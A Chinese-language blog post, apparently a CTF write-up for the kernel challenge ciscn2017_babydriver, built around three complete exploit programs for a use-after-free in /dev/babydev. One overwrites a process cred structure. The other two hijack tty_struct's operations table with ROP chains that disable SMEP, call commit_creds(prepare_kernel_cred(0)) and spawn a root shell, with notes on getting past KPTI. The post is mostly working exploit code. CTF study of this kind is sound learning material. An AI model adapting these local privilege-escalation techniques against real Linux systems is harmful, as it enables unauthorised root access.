kernel UAF && tty_struct

kernel UAF && 劫持tty_struct

ciscn2017_babydriver

exp1
fork进程时会申请堆来存放cred。cred结构大小为0xA8。修改cred里的uid,gid为0,即可get root

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

int main()
{
	int fd1 = open("/dev/babydev", 2);
	int fd2 = open("/dev/babydev", 2);
	char buf[28] = {0};
	if(fd1 < 0 || fd2 < 0)
	{
		puts("[-] open error");
		exit(-1);
	}
	
	ioctl(fd1, 0x10001, 0xa8);
	close(fd1);
	
	int pid = fork();
	if(pid < 0)
	{
		puts("[-] fork error");
		exit(-1);
	}
	else if(pid == 0)
	{
		write(fd2, buf, 28);
		if(getuid() == 0)
		{
			puts("[+] root now");
			system("/bin/sh");
		}
	}
	else
	{
		wait(NULL);
	}
	close(fd2);
	return 0;
}

打开ptmx时会申请一个大小为0x2e0的结构体tty_struct(size_t)tty_struct[3]的位置是tty_operations里面存放了函数指针,劫持这个结构体可实现栈迁移。

劫持write指针,则raxtty_operations的地址,劫持ioctl指针,则rcxtty_operations的地址

补充一下:在开启 KPTI 的情况下直接返回用户态会 segmentation fault,可以把原来的返回地址 get_shell 函数设为 signal 信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。(signal(11, (size_t)get_shell)),也可以用最后一个exp的方法。

当然我们可以直接用 swapgs_restore_regs_and_return_to_usermode 直接绕过 KPTI,可能由于本题内核是一个过渡版本还没有KPTI而是PTI,我并没能找到这个函数。

exp2

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}

void get_shell()
{
	if (getuid() == 0)
	{
		puts("[+] get root");
		system("/bin/sh");
		puts("[*] get shell");
	}
	else
	{
		puts("[-] get shell error");
		sleep(5);
		exit(0);
	}
}

void get_root()
{
	//commit_creds(prepare_kernel_cred(0))
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}

int main()
{
	signal(11, (size_t)get_shell);
	size_t rop[0x100] = {0};
	size_t user_buf[0x100] = {0};
	size_t fake_tty_struct[4] = {0};
	size_t fake_tty_operations[35] = {0};

	save_status();
	int fd1 = open("/dev/babydev", 2);
	int fd2 = open("/dev/babydev", 2);
	if(fd1 <0 || fd2 < 0)
	{
		puts("[-] open babydev error");
		sleep(5);
		exit(0);
	}

	ioctl(fd1, 0x10001, 0x2e0);
	close(fd1);

	int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
	if(fd_tty < 0)
	{
		puts("[-] open ptmx error");
		sleep(5);
		exit(0);
	}

	int i = 0;
	rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
	rop[i++] = 0x6f0;
	rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_t)get_root;
	rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = 0xffffffff814e35ef; // iretq; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

	fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax;

	fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
	fake_tty_operations[1] = (size_t)rop;
	fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax;

	read(fd2, fake_tty_struct, 32);
	fake_tty_struct[3] = (size_t)fake_tty_operations;

	write(fd2, fake_tty_struct, 32);

	write(fd_tty,"FXC",3);
	return 0;
}

exp3

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>

typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420; // commit_creds
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810; // prepare_kernel_cred

size_t vmlinux_base, offset;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}

void set_affinity(int which_cpu)
{
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(which_cpu, &cpu_set);
    if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0)
    {
        perror("sched_setaffinity()");
        exit(EXIT_FAILURE);
    }
}

void get_shell()
{
	if (getuid() == 0)
	{
		puts("[+] get root");
		char *shell = "/bin/sh";
		char *args[] = {shell, NULL};
		execve(shell, args, NULL);
	}
	else
	{
		puts("[-] get shell error");
		sleep(3);
		exit(0);
	}
}

void get_root(void)
{
	commit_creds(prepare_kernel_cred(0));
	//void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	//void (*cc)(void *) = (void (*)(void *))commit_creds;
	//(*cc)((*pkc)(0));
}

int main()
{
	//signal(11, (size_t)get_shell);
	size_t rop[0x100] = {0};
	size_t user_buf[0x100] = {0};
	size_t fake_tty_struct[4] = {0};
	size_t fake_tty_operations[35] = {0};

	save_status();
	set_affinity(0);
	int fd1 = open("/dev/babydev", 2);
	int fd2 = open("/dev/babydev", 2);
	if(fd1 <0 || fd2 < 0)
	{
		puts("[-] open babydev error");
		sleep(3);
		exit(0);
	}

	ioctl(fd1, 0x10001, 0x2e0);
	close(fd1);

	int i = 0;
	rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
	rop[i++] = 0x6f0;
	rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_t)get_root;
	rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = 0xffffffff814e35ef; // iretq; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

	fake_tty_operations[12] = 0xffffffff81007808; // xchg eax, esp; ret;

	
	size_t fake_stack = 0xffffffff81007808 & 0xffffffff;
	size_t mmap_base = fake_stack & 0xfffff000;
	
	if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
		{
			puts("[-] mmap error");
			sleep(3);
			exit(0);
		}
	else
		puts("[+] mmap success");

	memcpy((void *)fake_stack, rop, sizeof(rop));

	int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
	if(fd_tty < 0)
	{
		puts("[-] open ptmx error");
		sleep(3);
		exit(0);
	}

	read(fd2, fake_tty_struct, 32);
	fake_tty_struct[3] = (size_t)fake_tty_operations;

	write(fd2, fake_tty_struct, 32);

	ioctl(fd_tty, 0, 0);
	return 0;
}
posted @ 2022-05-03 21:34  狒猩橙  阅读(213)  评论(1编辑  收藏  举报